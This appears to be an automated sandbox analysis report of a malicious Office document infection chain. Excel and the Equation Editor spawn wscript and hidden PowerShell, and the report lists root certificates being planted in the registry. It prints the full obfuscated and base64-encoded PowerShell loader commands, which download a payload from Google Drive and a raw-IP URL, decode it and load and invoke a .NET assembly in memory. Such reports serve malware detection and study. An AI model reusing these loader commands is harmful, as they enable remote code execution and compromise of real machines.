Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560000 push 00000003h; iretd	2_2_03560018
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560179 push es; ret	2_2_0356017A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035602E6 push FFFFFFF6h; iretd	2_2_035602E8
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035602EC push esi; retf	2_2_03560307
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00315BB2 push F8B87029h; retf	8_2_00315C8E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00315C72 push F8B87029h; retf	8_2_00315C8E

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_0356047F URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_0356047F

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
